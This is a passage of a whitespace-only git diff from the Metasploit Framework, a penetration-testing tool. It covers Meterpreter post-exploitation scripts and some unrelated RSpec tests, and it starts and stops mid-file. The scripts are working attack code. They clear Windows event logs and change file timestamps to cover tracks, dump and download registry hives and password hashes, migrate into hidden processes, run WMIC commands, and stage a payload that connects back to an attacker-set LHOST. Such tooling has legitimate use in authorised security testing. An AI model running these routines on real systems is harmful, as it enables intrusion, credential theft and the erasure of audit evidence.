end #------------------------------------------------------------------------------- # Function for clearing all event logs def clrevtlgs() - evtlogs = [ - 'security', - 'system', - 'application', - 'directory service', - 'dns server', - 'file replication service' - ] - print_status("Clearing Event Logs, this will leave and event 517") - begin - evtlogs.each do |evl| - print_status("\tClearing the #{evl} Event Log") - log = @client.sys.eventlog.open(evl) - log.clear - file_local_write(@dest,"Cleared the #{evl} Event Log") - end - print_status("All Event Logs have been cleared") - rescue ::Exception => e - print_status("Error clearing Event Log: #{e.class} #{e}") - - end + evtlogs = [ + 'security', + 'system', + 'application', + 'directory service', + 'dns server', + 'file replication service' + ] + print_status("Clearing Event Logs, this will leave and event 517") + begin + evtlogs.each do |evl| + print_status("\tClearing the #{evl} Event Log") + log = @client.sys.eventlog.open(evl) + log.clear + file_local_write(@dest,"Cleared the #{evl} Event Log") + end + print_status("All Event Logs have been cleared") + rescue ::Exception => e + print_status("Error clearing Event Log: #{e.class} #{e}") + + end end #------------------------------------------------------------------------------- # Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array # The files have to be in %WinDir%\System32 folder. def chmace(cmds) - windir = '' - print_status("Changing Access Time, Modified Time and Created Time of Files Used") - windir = @client.fs.file.expand_path("%WinDir%") - cmds.each do |c| - begin - @client.core.use("priv") - filetostomp = windir + "\\system32\\"+ c - fl2clone = windir + "\\system32\\chkdsk.exe" - print_status("\tChanging file MACE attributes on #{filetostomp}") - @client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) - file_local_write(@dest,"Changed MACE of #{filetostomp}") - rescue ::Exception => e - print_status("Error changing MACE: #{e.class} #{e}") - end - end + windir = '' + print_status("Changing Access Time, Modified Time and Created Time of Files Used") + windir = @client.fs.file.expand_path("%WinDir%") + cmds.each do |c| + begin + @client.core.use("priv") + filetostomp = windir + "\\system32\\"+ c + fl2clone = windir + "\\system32\\chkdsk.exe" + print_status("\tChanging file MACE attributes on #{filetostomp}") + @client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) + file_local_write(@dest,"Changed MACE of #{filetostomp}") + rescue ::Exception => e + print_status("Error changing MACE: #{e.class} #{e}") + end + end end #------------------------------------------------------------------------------- #Dumping and Downloading the Registry of the target machine def regdump(pathoflogs,filename) - host,port = @client.session_host, @client.session_port - #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress - garbage = '' - hives = %w{HKCU HKLM HKCC HKCR HKU} - windir = @client.fs.file.expand_path("%WinDir%") - print_status('Dumping and Downloading the Registry') - hives.each do |hive| - begin - print_status("\tExporting #{hive}") - r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - garbage << d - end - r.channel.close - r.close - print_status("\tCompressing #{hive} into cab file for faster download") - r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - garbage << d - end - r.channel.close - r.close - - rescue ::Exception => e - print_status("Error dumping Registry Hives #{e.class} #{e}") - end - end - #Downloading compressed registry Hives - hives.each do |hive| - begin - print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab") - @client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab") - file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive") - sleep(5) - rescue ::Exception => e - print_status("Error Downloading Registry Hives #{e.class} #{e}") - end - end - #Deleting left over files - print_status("\tDeleting left over files") - @client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'}) + host,port = @client.session_host, @client.session_port + #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress + garbage = '' + hives = %w{HKCU HKLM HKCC HKCR HKU} + windir = @client.fs.file.expand_path("%WinDir%") + print_status('Dumping and Downloading the Registry') + hives.each do |hive| + begin + print_status("\tExporting #{hive}") + r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + garbage << d + end + r.channel.close + r.close + print_status("\tCompressing #{hive} into cab file for faster download") + r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + garbage << d + end + r.channel.close + r.close + + rescue ::Exception => e + print_status("Error dumping Registry Hives #{e.class} #{e}") + end + end + #Downloading compressed registry Hives + hives.each do |hive| + begin + print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab") + @client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab") + file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive") + sleep(5) + rescue ::Exception => e + print_status("Error Downloading Registry Hives #{e.class} #{e}") + end + end + #Deleting left over files + print_status("\tDeleting left over files") + @client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'}) end #------------------------------------------------------------------------------- # Function that will call 2 other Functions to cover all tracks def covertracks(cmdstomp) - clrevtlgs() - info = @client.sys.config.sysinfo - trgtos = info['OS'] - if trgtos =~ /(Windows 2000)/ - chmace(cmdstomp - nonwin2kcmd) - else - chmace(cmdstomp) - end + clrevtlgs() + info = @client.sys.config.sysinfo + trgtos = info['OS'] + if trgtos =~ /(Windows 2000)/ + chmace(cmdstomp - nonwin2kcmd) + else + chmace(cmdstomp) + end end #------------------------------------------------------------------------------- @@ -487,80 +487,80 @@ def covertracks(cmdstomp) # for Process Migration #--------------------------------------------------------------------------------------------------------- def launchProc(target) - print_status("Launching hidden #{target}...") + print_status("Launching hidden #{target}...") - # Set the vars; these can of course be modified if need be - cmd_exec = target - cmd_args = nil - hidden = true - channelized = nil - use_thread_token = false + # Set the vars; these can of course be modified if need be + cmd_exec = target + cmd_args = nil + hidden = true + channelized = nil + use_thread_token = false - # Launch new process - newproc = @client.sys.process.execute(cmd_exec, cmd_args, - 'Channelized' => channelized, - 'Hidden' => hidden, - 'InMemory' => nil, - 'UseThreadToken' => use_thread_token) + # Launch new process + newproc = @client.sys.process.execute(cmd_exec, cmd_args, + 'Channelized' => channelized, + 'Hidden' => hidden, + 'InMemory' => nil, + 'UseThreadToken' => use_thread_token) - print_status("Process #{newproc.pid} created.") + print_status("Process #{newproc.pid} created.") - return newproc + return newproc end #------------------------------------------------------------------------------- def migrateToProc(newproc) - # Grab the current pid info - server = @client.sys.process.open - print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.") + # Grab the current pid info + server = @client.sys.process.open + print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.") - # Save the old process info so we can kill it after migration. - oldproc = server.pid + # Save the old process info so we can kill it after migration. + oldproc = server.pid - # Do the migration - @client.core.migrate(newproc.pid.to_i) + # Do the migration + @client.core.migrate(newproc.pid.to_i) - print_status("Migration completed successfully.") + print_status("Migration completed successfully.") - # Grab new process info - server = @client.sys.process.open + # Grab new process info + server = @client.sys.process.open - print_status("New server process: #{server.name} (#{server.pid})") + print_status("New server process: #{server.name} (#{server.pid})") - return oldproc + return oldproc end #------------------------------------------------------------------------------- def killApp(procpid) - @client.sys.process.kill(procpid) - print_status("Old process #{procpid} killed.") + @client.sys.process.kill(procpid) + print_status("Old process #{procpid} killed.") end #--------------------------------------------------------------------------------------------------------- # Function to execute process migration def migrate() - target = 'cmd.exe' - newProcPid = launchProc(target) - oldProc = migrateToProc(newProcPid) - #killApp(oldProc) - #Dangerous depending on the service exploited + target = 'cmd.exe' + newProcPid = launchProc(target) + oldProc = migrateToProc(newProcPid) + #killApp(oldProc) + #Dangerous depending on the service exploited end #--------------------------------------------------------------------------------------------------------- #Function for Checking for UAC def uaccheck() - uac = is_uac_enabled? - if uac - print_status("\tUAC is Enabled") - else - print_status("\tUAC is Disabled") - end - - return uac + uac = is_uac_enabled? + if uac + print_status("\tUAC is Enabled") + else + print_status("\tUAC is Disabled") + end + + return uac end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -568,7 +568,7 @@ def unsupported # Execute Functions selected if (mg != nil) - migrate() + migrate() end # Main part of script, it will run all function minus the ones # that will chance the MACE and Clear the Event log. @@ -590,65 +590,65 @@ def unsupported uac = uaccheck() # Run Commands according to OS some commands are not available on all versions of Windows if trgtos =~ /(Windows XP)/ - if trgtos =~ /(2600, \)|2600, Service Pack 1\))/ - commands.delete('netstat -vb') - commands.delete('netsh firewall show config') - end - list_exec(commands) - wmicexec(wmic) - findprogs() - gethash() + if trgtos =~ /(2600, \)|2600, Service Pack 1\))/ + commands.delete('netstat -vb') + commands.delete('netsh firewall show config') + end + list_exec(commands) + wmicexec(wmic) + findprogs() + gethash() elsif trgtos =~ /(Windows .NET)/ - list_exec(commands) - wmicexec(wmic) - findprogs() - gethash() + list_exec(commands) + wmicexec(wmic) + findprogs() + gethash() elsif trgtos =~ /(Windows 2008)/ - list_exec(commands + win2k8cmd) - wmicexec(wmic) - findprogs() - if not is_system? - print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.") - else - gethash() - end + list_exec(commands + win2k8cmd) + wmicexec(wmic) + findprogs() + if not is_system? + print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.") + else + gethash() + end elsif trgtos =~ /Windows (Vista|7)/ - list_exec(commands + vstwlancmd) - # Check for UAC and save results - if uac - file_local_write(@dest,"UAC is Enabled") - else - file_local_write(@dest,"UAC is Disabled") - end - wmicexec(wmic) - findprogs() - if not is_system? - print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.") - else - gethash() - end + list_exec(commands + vstwlancmd) + # Check for UAC and save results + if uac + file_local_write(@dest,"UAC is Enabled") + else + file_local_write(@dest,"UAC is Disabled") + end + wmicexec(wmic) + findprogs() + if not is_system? + print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.") + else + gethash() + end elsif trgtos =~ /(Windows 2000)/ - list_exec(commands - nonwin2kcmd) - gethash() + list_exec(commands - nonwin2kcmd) + gethash() end listtokens() if (rd != nil) - if not uac - regdump(logs,filenameinfo) - else - print_status("UAC is enabled, Registry Keys could not be dumped under current privileges") - end + if not uac + regdump(logs,filenameinfo) + else + print_status("UAC is enabled, Registry Keys could not be dumped under current privileges") + end end if (cm != nil) - if trgtos =~ /(Windows 2000)/ - covertracks(cmdstomp - nowin2kexe) - else - if not uac - covertracks(cmdstomp) - else - print_status("UAC is enabled, Logs could not be cleared under current privileges") - end - end + if trgtos =~ /(Windows 2000)/ + covertracks(cmdstomp - nowin2kexe) + else + if not uac + covertracks(cmdstomp) + else + print_status("UAC is enabled, Logs could not be cleared under current privileges") + end + end end print_status("Done!") diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index d01bc01d5701..0e038478a08d 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -6,10 +6,10 @@ wininfo = client.sys.config.sysinfo # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Command to execute. The command must be enclosed in double quotes."], - "-f" => [ true,"File where to saved output of command."], - "-s" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Command to execute. The command must be enclosed in double quotes."], + "-f" => [ true,"File where to saved output of command."], + "-s" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -19,112 +19,112 @@ ################## Function Declarations ################## # Function for running a list of WMIC commands stored in a array, returs string def wmicexec(session,wmiccmds= nil) - tmpout = '' - session.response_timeout=120 - begin - tmp = session.fs.file.expand_path("%TEMP%") - wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) - wmiccmds.each do |wmi| - print_status "running command wmic #{wmi}" - print_line wmicfl - r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) - sleep(2) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout + tmpout = '' + session.response_timeout=120 + begin + tmp = session.fs.file.expand_path("%TEMP%") + wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) + wmiccmds.each do |wmi| + print_status "running command wmic #{wmi}" + print_line wmicfl + r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) + sleep(2) + #Making sure that wmic finishes before executing next wmic command + prog2check = "wmic.exe" + found = 0 + while found == 0 + session.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + end + # Read the output file of the wmic commands + wmioutfile = session.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + wmioutfile.close + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end + # We delete the file with the wmic command output. + c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) + c.close + tmpout end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "a") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end def usage - print_line("Windows WMIC Command Execution Meterpreter Script ") - print_line @@exec_opts.usage - print_line("USAGE:") - print_line("run wmic -c \"WMIC Command Argument\"\n") - print_line("NOTE:") - print_line("Not all arguments for WMIC can be used, the /append: option is used by the script") - print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n") - print_line("Example:") - print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n") - raise Rex::Script::Completed + print_line("Windows WMIC Command Execution Meterpreter Script ") + print_line @@exec_opts.usage + print_line("USAGE:") + print_line("run wmic -c \"WMIC Command Argument\"\n") + print_line("NOTE:") + print_line("Not all arguments for WMIC can be used, the /append: option is used by the script") + print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n") + print_line("Example:") + print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n") + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-c" + case opt + when "-c" - commands.concat(val.split("/")) + commands.concat(val.split("/")) - when "-s" + when "-s" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - commands << line.chomp - end - end - when "-f" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + next if line.strip.length < 1 + next if line[0,1] == "#" + commands << line.chomp + end + end + when "-f" - outfile = val - when "-h" - usage - else - print_error "Unknown option: #{opt}" - usage - end + outfile = val + when "-h" + usage + else + print_error "Unknown option: #{opt}" + usage + end } if args.length == 0 - usage + usage end unsupported if client.platform !~ /win32|win64/i if outfile == nil - print_status wmicexec(session,commands) + print_status wmicexec(session,commands) else - print_status("Saving output of WMIC to #{outfile}") - filewrt(outfile, wmicexec(session,commands)) + print_status("Saving output of WMIC to #{outfile}") + filewrt(outfile, wmicexec(session,commands)) end diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index b7b3c11b552b..5738d03a2bc4 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -13,8 +13,8 @@ # Show the progress of the upload # def progress(total, sent) - done = (sent.to_f / total.to_f) * 100 - print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) + done = (sent.to_f / total.to_f) * 100 + print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) end @@ -23,7 +23,7 @@ def progress(total, sent) # Check for required datastore options if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT']) - raise RuntimeError, "You must set LPORT and LHOST for this script to work." + raise RuntimeError, "You must set LPORT and LHOST for this script to work." end @@ -51,105 +51,105 @@ def progress(total, sent) aborted = false begin - mh = nil - if (use_handler) - mh = framework.modules.create("exploit/multi/handler") - mh.datastore['LPORT'] = lport - mh.datastore['LHOST'] = lhost - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['ExitOnSession'] = false - mh.datastore['EXITFUNC'] = 'process' - mh.exploit_simple( - 'LocalInput' => session.user_input, - 'LocalOutput' => session.user_output, - 'Payload' => payload_name, - 'RunAsJob' => true) - # It takes a little time for the resources to get set up, so sleep for - # a bit to make sure the exploit is fully working. Without this, - # mod.get_resource doesn't exist when we need it. - select(nil, nil, nil, 0.5) - if framework.jobs[mh.job_id.to_s].nil? - raise RuntimeError, "Failed to start multi/handler - is it already running?" - end - end - - - # - # Make the payload into an exe for the CmdStager - # - lplat = [Msf::Platform::Windows] - larch = [ARCH_X86] - linemax = 1700 - if (session.exploit_datastore['LineMax']) - linemax = session.exploit_datastore['LineMax'].to_i - end - opts = { - :linemax => linemax, - :decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), - #:nodelete => true # keep temp files (for debugging) - } - exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) - - - # - # Generate the stager command array - # - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - cmds = cmdstager.generate(opts) - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end - - # - # Calculate the total size - # - total_bytes = 0 - cmds.each { |cmd| total_bytes += cmd.length } - - - # - # Run the commands one at a time - # - sent = 0 - cmds.each { |cmd| - ret = session.shell_command_token_win32(cmd) - if (not ret) - aborted = true - else - ret.strip! - if (not ret.empty?) - aborted = true - end - end - if aborted - print_error("Error: Unable to execute the following command:") - print_error(cmd.inspect) - print_error('Output: ' + ret.inspect) if ret and not ret.empty? - break - end - - sent += cmd.length - - progress(total_bytes, sent) - } + mh = nil + if (use_handler) + mh = framework.modules.create("exploit/multi/handler") + mh.datastore['LPORT'] = lport + mh.datastore['LHOST'] = lhost + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['ExitOnSession'] = false + mh.datastore['EXITFUNC'] = 'process' + mh.exploit_simple( + 'LocalInput' => session.user_input, + 'LocalOutput' => session.user_output, + 'Payload' => payload_name, + 'RunAsJob' => true) + # It takes a little time for the resources to get set up, so sleep for + # a bit to make sure the exploit is fully working. Without this, + # mod.get_resource doesn't exist when we need it. + select(nil, nil, nil, 0.5) + if framework.jobs[mh.job_id.to_s].nil? + raise RuntimeError, "Failed to start multi/handler - is it already running?" + end + end + + + # + # Make the payload into an exe for the CmdStager + # + lplat = [Msf::Platform::Windows] + larch = [ARCH_X86] + linemax = 1700 + if (session.exploit_datastore['LineMax']) + linemax = session.exploit_datastore['LineMax'].to_i + end + opts = { + :linemax => linemax, + :decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), + #:nodelete => true # keep temp files (for debugging) + } + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) + + + # + # Generate the stager command array + # + cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) + cmds = cmdstager.generate(opts) + if (cmds.nil? or cmds.length < 1) + print_error("The command stager could not be generated") + raise ArgumentError + end + + # + # Calculate the total size + # + total_bytes = 0 + cmds.each { |cmd| total_bytes += cmd.length } + + + # + # Run the commands one at a time + # + sent = 0 + cmds.each { |cmd| + ret = session.shell_command_token_win32(cmd) + if (not ret) + aborted = true + else + ret.strip! + if (not ret.empty?) + aborted = true + end + end + if aborted + print_error("Error: Unable to execute the following command:") + print_error(cmd.inspect) + print_error('Output: ' + ret.inspect) if ret and not ret.empty? + break + end + + sent += cmd.length + + progress(total_bytes, sent) + } rescue ::Interrupt - # TODO: cleanup partial uploads! - aborted = true + # TODO: cleanup partial uploads! + aborted = true rescue => e - print_error("Error: #{e}") - aborted = true + print_error("Error: #{e}") + aborted = true end # # Stop the job # if (use_handler) - Thread.new do - if not aborted - # Wait up to 10 seconds for the session to come in.. - select(nil, nil, nil, 10) - end - framework.jobs.stop_job(mh.job_id) - end + Thread.new do + if not aborted + # Wait up to 10 seconds for the session to come in.. + select(nil, nil, nil, 10) + end + framework.jobs.stop_job(mh.job_id) + end end diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb index 9f6a4d1d7eec..4981482cca09 100644 --- a/spec/factories/mdm/module_details.rb +++ b/spec/factories/mdm/module_details.rb @@ -1,9 +1,9 @@ FactoryGirl.modify do factory :mdm_module_detail do - ignore do - root { - Metasploit::Framework.root - } - end + ignore do + root { + Metasploit::Framework.root + } + end end end \ No newline at end of file diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 51f8b6f39928..45798cd30fa4 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -8,202 +8,202 @@ MetasploitDataModels.require_models describe ActiveRecord::ConnectionAdapters::ConnectionPool do - def database_configurations - YAML.load_file(database_configurations_pathname) - end - - def database_configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') - end - - subject(:connection_pool) do - ActiveRecord::Base.connection_pool - end - - # Not all specs require a database connection, and railties aren't being - # used, so have to manually establish connection. - before(:each) do - ActiveRecord::Base.configurations = database_configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) - end - - after(:each) do - ActiveRecord::Base.clear_all_connections! - end - - context '#active_connection?' do - subject(:active_connection?) do - connection_pool.active_connection? - end - - # Let! so that Thread is captured before creating and entering new Threads - let!(:main_thread) do - Thread.current - end - - before(:each) do - ActiveRecord::Base.connection_pool.connection - end - - context 'in thread with connection' do - it { should be_true } - end - - context 'in thread without connection' do - it 'should be false' do - thread = Thread.new do - Thread.current.should_not == main_thread - expect(active_connection?).to be_false - end - - thread.join - end - end - end - - context '#with_connection' do - def reserved_connection_count - connection_pool.instance_variable_get(:@reserved_connections).length - end - - let(:connection_id) do - main_thread.object_id - end - - it 'should call #current_connection_id' do - connection_pool.should_receive( - :current_connection_id - ).at_least( - :once - ).and_call_original - - connection_pool.with_connection { } - end - - it 'should yield #connection' do - connection = double('Connection') - connection_pool.stub(:connection => connection) - - expect { |block| - connection_pool.with_connection(&block) - }.to yield_with_args(connection) - end - - context 'with active thread connection' do - let!(:connection) do - connection_pool.connection - end - - after(:each) do - connection_pool.checkin connection - end - - it 'should return true from #active_connection?' do - expect(connection_pool.active_connection?).to be_true - end - - context 'with error' do - it 'should not release connection' do - expect { - # capture error so it doesn't stop example - expect { - connection_pool.with_connection do - # raise error to trigger with_connection's ensure - raise ArgumentError, 'bad arguments' - end - }.to raise_error(ArgumentError) - }.to change { - reserved_connection_count - }.by(0) - end - end - - context 'without error' do - it 'should not release connection' do - expect { - connection_pool.with_connection { } - }.to change{ - reserved_connection_count - }.by(0) - end - end - end - - context 'without active thread connection' do - it 'should return false from #active_connection?' do - expect(connection_pool.active_connection?).to be_false - end - - context 'with error' do - it 'should not leave connection created for block' do - expect { - # capture error so it doesn't stop example - expect { - connection_pool.with_connection do - # raise error to trigger with_connection's ensure - raise ArgumentError, 'bad arguments' - end - }.to raise_error(ArgumentError) - }.to change { - reserved_connection_count - }.by(0) - end - end - - context 'without error' do - it 'should not leave connection created for block' do - expect { - connection_pool.with_connection { } - }.to change{ - reserved_connection_count - }.by(0) - end - end - - context 'with nested' do - it 'should not reserve another connection in the nested block' do - before_count = reserved_connection_count - - connection_pool.with_connection do - child_count = reserved_connection_count - count_change = child_count - before_count - - count_change.should == 1 - - connection_pool.with_connection do - grandchild_count = reserved_connection_count - - grandchild_count.should == child_count - end - end - - after_count = reserved_connection_count - - after_count.should == before_count - end - end - - context 'without with_connection first' do - it 'should use connection reserved outside with_connection' do - # Using query methods without a block is expected to retain the - # reserved connection - expect { - # access database outside with_connection block - Mdm::Host.count - }.to change { - reserved_connection_count - }.by(1) - - outside = reserved_connection_count - - connection_pool.with_connection do - inside = reserved_connection_count - - inside.should == outside - end - end - end - end - end + def database_configurations + YAML.load_file(database_configurations_pathname) + end + + def database_configurations_pathname + Metasploit::Framework.root.join('config', 'database.yml') + end + + subject(:connection_pool) do + ActiveRecord::Base.connection_pool + end + + # Not all specs require a database connection, and railties aren't being + # used, so have to manually establish connection. + before(:each) do + ActiveRecord::Base.configurations = database_configurations + spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + ActiveRecord::Base.establish_connection(spec) + end + + after(:each) do + ActiveRecord::Base.clear_all_connections! + end + + context '#active_connection?' do + subject(:active_connection?) do + connection_pool.active_connection? + end + + # Let! so that Thread is captured before creating and entering new Threads + let!(:main_thread) do + Thread.current + end + + before(:each) do + ActiveRecord::Base.connection_pool.connection + end + + context 'in thread with connection' do + it { should be_true } + end + + context 'in thread without connection' do + it 'should be false' do + thread = Thread.new do + Thread.current.should_not == main_thread + expect(active_connection?).to be_false + end + + thread.join + end + end + end + + context '#with_connection' do + def reserved_connection_count + connection_pool.instance_variable_get(:@reserved_connections).length + end + + let(:connection_id) do + main_thread.object_id + end + + it 'should call #current_connection_id' do + connection_pool.should_receive( + :current_connection_id + ).at_least( + :once + ).and_call_original + + connection_pool.with_connection { } + end + + it 'should yield #connection' do + connection = double('Connection') + connection_pool.stub(:connection => connection) + + expect { |block| + connection_pool.with_connection(&block) + }.to yield_with_args(connection) + end + + context 'with active thread connection' do + let!(:connection) do + connection_pool.connection + end + + after(:each) do + connection_pool.checkin connection + end + + it 'should return true from #active_connection?' do + expect(connection_pool.active_connection?).to be_true + end + + context 'with error' do + it 'should not release connection' do + expect { + # capture error so it doesn't stop example + expect { + connection_pool.with_connection do + # raise error to trigger with_connection's ensure + raise ArgumentError, 'bad arguments' + end + }.to raise_error(ArgumentError) + }.to change { + reserved_connection_count + }.by(0) + end + end + + context 'without error' do + it 'should not release connection' do + expect { + connection_pool.with_connection { } + }.to change{ + reserved_connection_count + }.by(0) + end + end + end + + context 'without active thread connection' do + it 'should return false from #active_connection?' do + expect(connection_pool.active_connection?).to be_false + end + + context 'with error' do + it 'should not leave connection created for block' do + expect { + # capture error so it doesn't stop example + expect { + connection_pool.with_connection do + # raise error to trigger with_connection's ensure + raise ArgumentError, 'bad arguments' + end + }.to raise_error(ArgumentError) + }.to change { + reserved_connection_count + }.by(0) + end + end + + context 'without error' do + it 'should not leave connection created for block' do + expect { + connection_pool.with_connection { } + }.to change{ + reserved_connection_count + }.by(0) + end + end + + context 'with nested' do + it 'should not reserve another connection in the nested block' do + before_count = reserved_connection_count + + connection_pool.with_connection do + child_count = reserved_connection_count + count_change = child_count - before_count + + count_change.should == 1 + + connection_pool.with_connection do + grandchild_count = reserved_connection_count + + grandchild_count.should == child_count + end + end + + after_count = reserved_connection_count + + after_count.should == before_count + end + end + + context 'without with_connection first' do + it 'should use connection reserved outside with_connection' do + # Using query methods without a block is expected to retain the + # reserved connection + expect { + # access database outside with_connection block + Mdm::Host.count + }.to change { + reserved_connection_count + }.by(1) + + outside = reserved_connection_count + + connection_pool.with_connection do + inside = reserved_connection_count + + inside.should == outside + end + end + end + end + end end diff --git a/spec/lib/fastlib_spec.rb b/spec/lib/fastlib_spec.rb index b5b55477598a..f8efb0fbb3a9 100644 --- a/spec/lib/fastlib_spec.rb +++ b/spec/lib/fastlib_spec.rb @@ -4,229 +4,229 @@ require 'msf/core' describe FastLib do - let(:archived_paths) do - [ - File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), - File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - ] - end - - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end - - let(:extension) do - '.fastlib' - end - - let(:flag_compress) do - 0x01 - end - - let(:flag_encrypt) do - 0x02 - end - - let(:unarchived_paths) do - archived_paths.collect { |archived_path| - File.join(base_path, archived_path) - } - end - - context 'CONSTANTS' do - context 'flags' do - it 'should have compression' do - described_class::FLAG_COMPRESS.should == flag_compress - end - - it 'should have encryption' do - described_class::FLAG_ENCRYPT.should == flag_encrypt - end - end - end - - context 'class methods' do - context 'dump' do - let(:flag_string) do - flags.to_s(16) - end - - before(:each) do - FastLib.cache.clear - end - - around(:each) do |example| - 